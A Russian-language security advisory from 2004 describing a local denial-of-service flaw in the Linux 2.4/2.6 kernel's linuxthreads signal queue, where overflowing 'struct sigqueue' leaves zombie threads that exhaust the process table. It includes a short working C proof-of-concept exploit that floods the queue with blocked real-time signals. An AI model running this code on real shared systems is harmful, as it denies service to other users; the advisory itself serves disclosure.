Security Lab

DoS в Linux ядре в механизме работы нитей

Дата публикации:15.04.2004
Дата изменения:17.10.2006
Всего просмотров:1349
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Linux Kernel 2.4, 2.6

Описание: Уязвимость обнаружена в Linux ядре в механизме работы нитей (linuxthreads). Локальный пользователь может вызвать отказ в обслуживании.

При завершении одной из нитей другая нить того же процесса получает сигнал 33 (SIGRT_1), что свидетельствует о завершении соседней нити при этом завершившаяся нить находится в статусе "zombie". В случае генерации сигнала, соответствующий код ядра размещается в объекте, который называется "struct sigqueue", который держит информацию о сигнале до момента доставки другой нити. Однако в этой структуре может быть одновременно размещено ограниченное количество информации. Для сигналов с идентификаторами меньше 32 в коде ядра есть механизм, позволяющий доставить сигнал независимо от состояния объекта "struct sigqueue". В случае же описываемого сигнала 33 в случае невозможности помещения информации в "struct sigqueue" просто возвращается значение -EAGAIN. В результате процесс не будет оповещён о завершении нити и закончившаяся нить останется в состоянии "zombie". Для long-living процессов, порождающих много short-living нитей (например, mysqld), переполнение таблицы процессов происходит за несколько минут. В результате возникает типичная ситуация DoS. Автором написан исходный код эксплоита. В ядрах 2.6, использующих NPTL, механизм оповещения процессов несколько другой, однако и там существует возможность DoS.

Пример/Эксплоит:

#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
 
int main()
{
	sigset_t set;
	int i;
	pid_t pid;

	sigemptyset(&set);
	sigaddset(&set, 40);
	sigprocmask(SIG_BLOCK, &set, 0);

	pid = getpid();
	for (i = 0; i < 1024; i++)
		kill(pid, 40);

	while (1)
		sleep(1);
}

URL производителя: http://www.Kernel.org

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Possible DoS on Linux kernel 2.4 and 2.6 using sigqueue overflow.